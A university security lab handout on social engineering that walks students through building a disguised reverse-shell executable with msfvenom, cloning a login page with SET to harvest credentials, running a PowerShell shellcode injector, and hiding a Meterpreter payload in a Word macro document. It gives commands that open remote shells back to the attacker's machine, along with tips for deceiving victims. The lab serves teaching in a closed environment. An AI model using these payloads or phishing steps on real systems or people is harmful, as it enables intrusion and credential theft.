Temple MIS – Connect and innovate with an elite ...



Lab 9: Social EngineeringToday, social engineering attacks represent a major primary vector for hackers. As Bruce Schneier said, “Only amateurs attack machines; professionals target people.” Further, client-side software represents a much larger attack surface than server-side software. For these reason, many of the major breaches you read about in the news began with a client-side attack. In this lab you’ll use two leading tools to perform client-side attacks: msfvenom and the Social Engineering Toolkit (SET).Part 1. MSFVenomIn this section, you’ll use msfvenom to perform a client-side attack. Msfvenom can be used to turn Metasploit payloads into stand-alone executables that a user can be tricked into running. Your goal is to (1) create a malicious executable file, (2) host it on a web server, and (3) exploit your Windows 10 VM.Open your Kali Linux and Windows 10 VMs. Make sure that both can ping each other.On Windows, make sure Windows Defender is turned off.Click the windows button on the bottom left of the desktop and searching for “Defender” and choose “Windows Defender Security Center.”Click the windows button on the bottom left of the desktop and searching for “Defender” and choose “Windows Defender Security Center.”Move the “Real-time protection” slider to the left.In Kali, type msfvenom --help-formats to see a list of output formats that msfvenom supports. We’ll use the “-f exe” option to create a Windows executable.In Kali, run the following command, all on one line:msfvenom -p windows/shell/reverse_tcp LHOST=[your Kali IP] LPORT=8080 -f exe > /tmp/AdobeUpdate.exeWhere:-pSelects the payload-fSelects the file type of the output executableLHOSTThe IP of your Kali Linux VMLPORTThe listening port on your Kali Linux VMVerify that the output file is about 73802 bytes in size. If not, you may need to check that you entered the command correctly and run it again.Now, set up a web server to host your malicious file. Change directories to /tmp by entering cd /tmp.Still in Kali, run this command:python -m SimpleHTTPServer 8888You should see a response that the Python webserver is listening on port 8888 on IP 0.0.0.0, which means all IP addresses on the local machine.On your Windows 10 VM, browse to: http://[IP of your Kali VM]:8888/Verify that you can view the contents of /tmp on your Kali VM.On Kali, open a new terminal window (besides the one that is running the Python webserver), and enter msfconsole.Enter use exploit/multi/handler. Once you’ve switched to this exploit module, type show info. Note that this module “is a stub that provides all of the features of the Metasploit payload system to exploits that have been launched outside of the framework.” A stub adds additional functionality to other exploits.Enter set PAYLOAD windows/shell/reverse_tcp.Enter set LHOST [IP of Kali VM].Enter set LPORT 8080.Note: Set the port to “8080” (the port your malicious executable will use to connect back to your Kali VM), not “8888” (the port of your Python web server on Kali).Enter exploit -j. The “-j” option “jobifies” the exploit, or runs it as a job in the background. You can see a list of jobs running in the background by using the command jobs.On your Windows 10 VM, in a web browser (not Chrome, it’s too safe), download the AdobeUpdate.exe file from the Python webserver and run the executable. If a warning appears saying that Windows couldn’t access Windows SmartScreen, click “Run anyway.” For the warning, “Do you want to allow this app from an unknown publisher…,” click “Yes.”On your Kali VM, you should see in your msfconsole that “Command shell session X opened),” where X is the number of the new session. Type:sessions -i [the number of the new session]This should open a shell on the Windows VM.Type whoami to see the privileges that you are funning under. Note that these are the privileges of the user of your Windows 10 VM.Run the command netstat -n to see a listing of open connections on the Windows VM. Note the “ESTABLISHED” connection from the Windows VM to your Kali VM.Return to msfconsole by typing control + z. Enter “y” to background the session.To close the session, type sessions -k 1.Part 2. Social Engineering Toolkit (SET)In this section, you’ll use the Social Engineering Toolkit (SET) to craft social engineering attacks. SetupGet the latest version of SET by entering the following commands in the Kali terminal (note: this lab was written for SET v. 6.0.5). To obtain the latest version of SET, use these commands:cd /opt/git clone set/Note: There is a space between before the word ‘set/’.Edit /opt/set/src/core/config.baseline and scroll to the bottom of the document. Change BLEEDING_EDGE=OFF to BLEEDING_EDGE=ONSave the file and exit.Return to the /opt/set directory and run the command ./setoolkit (don’t forget the “./” at the front). Agree to the terms of service. You should see a screen like the following:Enter option 1 for social-engineering attacks. That should display this menu:Select option 2 for website attack vectors. The next menu will list the various web attack vectors:Select number 3 for a credential harvesting attack. This brings you to the following screen:Select option 2 to clone a target website. This is a very sophisticated feature that can clone almost any website. After you’ve selected this feature, you’ll need to set an IP address to host the cloned site. Set “IP address for the POST back in Harvester/Tabnabbing” to the IP address of your Kali Linux VM.Now you get to choose the website to clone. Set the cloned website to (enter the full URL, including “https://”).Note: When SET asks you about Apache, enable it to start the webserver. If all has gone well, you should get the following screen: Now it’s time to script the phishing message to send. At this point, an attacker would use a tool or service to send a spoofed email. For simplicity, skip this step and instead send an email to your own email account with the message:“You are receiving this email because there is a problem with your account. Please go to and login to verify your account."Use rich text formatting to make “” a hyperlink that points to http://[IP of your Kali VM].When you receive the email, click the link, which should forward you to this page:Note: the address bar indicates the actual IP of the attacker. This is the biggest indication that the site is forged. If this were a more sophisticated attempt, the attacker would obtain a domain that looked similar to Facebook (like facebook.) For this, one could use a site like HYPERLINK "" . Enter credentials into the fields on the spoofed website. After you’ve filled the fields in with whatever words you wish, press the login button on the website. On your Kali VM, you should see something similar to this in your terminal window:-5180422635818 INCLUDEPICTURE "/var/folders/25/h44_1jkn0pl51_ms9gt590xm0000gn/T/com.microsoft.Word/WebArchiveCopyPasteTempFiles/lab_set_facebook.png" \* MERGEFORMATINET Part 3: Using PowerShell Shellcode InjectorIn this section, you will generate an encoded PowerShell script and execute it on Windows which opens a Meterpreter session on attacker’s machine. Note that this script requires the user to bypass the PowerShell Execution Policy. It is your job to convince the victim to do this.From SET menu, choose 1 for Social-Engineering Attacks.Select 9 for PowerShell Attack Vectors.Within this option, you will find four different features, select 1 for PowerShell Alphanumeric Shellcode Injector.Enter your Kali VM IP address and port 443. Choose yes to start the listener. This will start automatically open msfconsole, so it will take a minute or two.While waiting, open another terminal and navigate to /root/.set/reports/powershell/Open the script using the leafpad command:leafpad x86_powershell_injection.txtCopy the entire script you found on leafpad, paste the script on the windows command line as the figure depicts below. Then press enter.You should see an opened Meterpreter session:Note: Although Meterpreter is opened the first time, it may not show you Meterpreter shell. To connect to the open Meterpreter session, type “sessions -i 1” and you should connect to the Meterpreter. Optional: you can save the entire script as a windows batch file (.bat), then trick the user to run that file.Question: Do you need administrator rights to run this PowerShell script? What are the other ways you can trick user to run this script?Part 4. SET DiscoveryComplete one other attacks of your choosing using SET, and briefly describe your results below.SET attack 1:Note: If you encounter problems after running site cloning attacks more than once, you may need to delete index.html or index2.html from /var/www/html in between attempts.Part 5. Create a Malicious Microsoft Word DocumentIn this section, you’ll create a macro enabled Microsoft Word file that opens a Meterpreter session on an attacker’s machine. Note that this is a feature of Word, and not a security vulnerability. For this reason, this attack vector will work as long as you can convince a user to open the Word file.In Kali, run the following command (all one line):msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=172.16.1.61 LPORT=8080 -e x86/shikata_ga_nai -f vba-exe Read the beginning of the output. It explains that the output is divided into two sections: A “Macro” section and a “Payload” section. Copy all of the output from your terminal from this command, and paste it into a text file on your Windows VM (or onto a machine with Microsoft Word).In Kali, run msfconsole and run the following commands:use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LPORT 8080set LHOST [IP of your Kali VM]exploit -jThe above commands will cause Metasploit to listen on port 8080 for an incoming Meterpreter connection.Open Word on your host workstation and open the Visual Basic editor. To do this, from the File tab, select Options. Select “Customize Ribbon” from the left-hand side menu, and check the Developer checkbox (see screenshot below).From the Developer ribbon, select “Visual Basic” to open the Visual Basic editor.Inside the visual basic editor, right-click the document, select Insert > Module. Open the VB.txt file that you copied over from Kali. Paste in the VB code (but not the payload). Save it as a Word macro-enabled document and close the VB editor.In the main body of the Word document, paste the payload hex code. Above the hex code, type a simple memo as the ostensible content of the memo. Next, highlight the hex code you pasted in and change the font size to “1” and the font color to white. This will make the hex code difficult to find for anyone who opens the document. Finally, save the document as a macro-enabled Word file (with a “.docm” extension). Name the file something like “Sales Memo.”Optional: “In order to keep user suspicion low, try embedding the code in one of the many Word macro games that are available on the Internet. That way, the user is happily playing the game while you are working in the background. This gives you some extra time to migrate to another process if you are using Meterpreter as a payload.” From Metasploit: The Pentester’s Guide.Test that your malicious Word file by opening it on the Windows 10 VM. If Word asks, enable macro content. In the Kali VM, you should now see that a Meterpreter session has been opened to the host workstation. If it doesn’t work, make sure that macros are enabled in your Word doc (Developer tab Macro Security Enable all macros).Optional: Use the sendEmail command on Kali to send a spoofed email with the malicious Word file as an attachment. To see how the sendEmail command works, type man sendEmail.Lifelong Learning“The Ghost in the Wires” by Kevin MitnickAutobiography of Kevin Mitnick, famed computer hacker and social engineer. In addition to being a very entertaining and fascinating read, you’ll learn a lot about social engineering techniques from the accounts of his experiences.BYU Library: Amazon: “The Art of Deception” by Kevin MitnickIn-depth discussion of the techniques of social engineering and how to educate your organization to be less susceptible to these attacks.Amazon: “Social Engineering” by Christopher HadnagyAnother well-regarded book on social engineering, from the organization that operates the Social Engineer Village at DEF CON.Amazon: ................
................

In order to avoid copyright disputes, this page is only a partial summary.

Google Online Preview   Download